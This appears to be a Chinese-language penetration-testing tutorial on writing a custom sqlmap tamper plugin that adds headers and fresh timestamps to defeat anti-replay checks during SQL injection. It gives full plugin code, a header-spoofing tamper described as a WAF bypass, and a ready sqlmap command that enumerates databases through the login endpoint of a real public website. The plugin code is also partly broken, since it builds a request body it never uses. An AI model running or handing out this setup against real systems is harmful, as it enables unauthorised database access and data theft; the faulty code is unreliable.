自定义Sqlmap Tamper插件绕过时间戳限制,对目标进行SQL注入
字数 1218 2025-08-29 08:32:30
自定义Sqlmap Tamper插件绕过时间戳限制的SQL注入教学
1. 背景知识
在渗透测试中,时间戳(timestamp)机制常被用于防范Burpsuite等工具的抓包重放攻击。这种防御机制会给自动化工具如Sqlmap带来挑战,因为每次请求都需要包含一个有效的时间戳。
2. 时间戳生成原理
时间戳通常是通过获取当前时间并转换为特定格式生成的。以下是Python生成时间戳的示例代码:
#!/user/bin/env python
#coding=utf8
import time
t = time.time()
timestamp = int(round(t * 1000)) # 获取当前时间戳(毫秒级)
timestamp = str(timestamp)
print timestamp
3. Sqlmap Tamper插件机制
Sqlmap的Tamper插件允许我们在发送请求前修改payload或添加/修改HTTP头。这是绕过各种WAF(Web应用防火墙)的有效方法。
3.1 示例插件:xforwardedfor.py
这是一个内置的Tamper插件示例,用于添加随机的X-Forwarded-For头:
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def randomIP():
numbers = []
while not numbers or numbers[0] in (10, 172, 192):
numbers = sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers)
def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For' to bypass WAF protection
"""
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()
return payload
4. 自定义Tamper插件绕过时间戳限制
4.1 插件功能
创建一个名为replacehead.py的Tamper插件,用于:
- 自动生成有效的时间戳
- 添加必要的HTTP头
- 构造合法的请求体
4.2 完整插件代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file "doc/COPYING" for copying permission
"""
import hashlib
import json
import ssl
import sys
import time, urllib, string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Append HTTP headers and timestamp to bypass WAF Protection
"""
reqBind = "/openapi/v2/user/login"
headers = kwargs.get("headers", {})
# 设置固定HTTP头
headers["Connection"] = "keep-alive"
headers["appId"] = "MB-MJ-0000"
headers["appVersion"] = "01.00.00.00000"
headers["clientId"] = "8F5BD72F-EAC5-4A5F-9093-77328C81E1AE"
headers["sequenceId"] = "20161020153428000015"
headers["accessToken"] = ""
headers["language"] = "zh-cn"
headers["timezone"] = "+8"
headers["appKey"] = "1fff7639ddc580d9cdfb16bde1d67249"
# 构造请求体,将payload插入到loginId字段
data = "{ \"loginId\": \"" + payload + "\", \"password\": \"12345\" }"
print data
# 生成当前时间戳
t = time.time()
timestamp = int(round(t * 1000))
timestamp = str(timestamp)
headers["timestamp"] = str(timestamp)
print headers
return payload
4.3 关键点解析
- headers处理:通过
kwargs.get("headers", {})获取当前请求头,并添加/修改需要的头信息 - 时间戳生成:使用
time.time()获取当前时间,转换为毫秒级时间戳 - payload构造:将SQL注入payload插入到请求体的特定位置(本例中是loginId字段)
- 固定值设置:根据目标系统要求设置固定的HTTP头值
5. 使用方法
- 将插件保存到Sqlmap的tamper目录(如
D:\sqlmap2016\tamper\replacehead.py) - 使用以下命令运行:
cd d:\sqlmap2016
python sqlmap.py -u "https://www.sohu.com/openapi/v2/user/login" \
--data "{\"loginId\":\"13121838135\",\"password\":\"12345\"}" \
--tamper "replacehead" \
--dbms="mysql" \
-v 5 \
--dbs \
--proxy=http://127.0.0.1:8080
参数说明:
-u: 目标URL--data: POST请求体--tamper: 指定使用的Tamper插件--dbms: 指定数据库类型-v: 详细输出级别--dbs: 枚举数据库--proxy: 使用代理(如Burpsuite)
6. 实际应用中的注意事项
- 目标系统分析:需要先分析目标系统的请求结构,确定哪些头是必需的
- 时间戳精度:确认目标系统使用的时间戳是秒级还是毫秒级
- 签名机制:如果目标系统除了时间戳还有签名机制,需要额外处理
- 动态值:有些系统可能需要其他动态值(如nonce),需要相应修改插件
- 错误处理:添加适当的错误处理机制,确保插件稳定性
7. 扩展思路
- 自动签名:如果目标系统使用签名机制,可以在插件中添加签名计算逻辑
- 会话保持:处理需要维持会话的场景,自动管理cookies或token
- 动态参数:从服务器响应中提取必要参数用于后续请求
- 多步骤攻击:实现复杂的多步骤注入流程
通过这种自定义Tamper插件的方法,可以有效地绕过时间戳等动态防御机制,使Sqlmap等工具能够在有防护的环境下正常工作。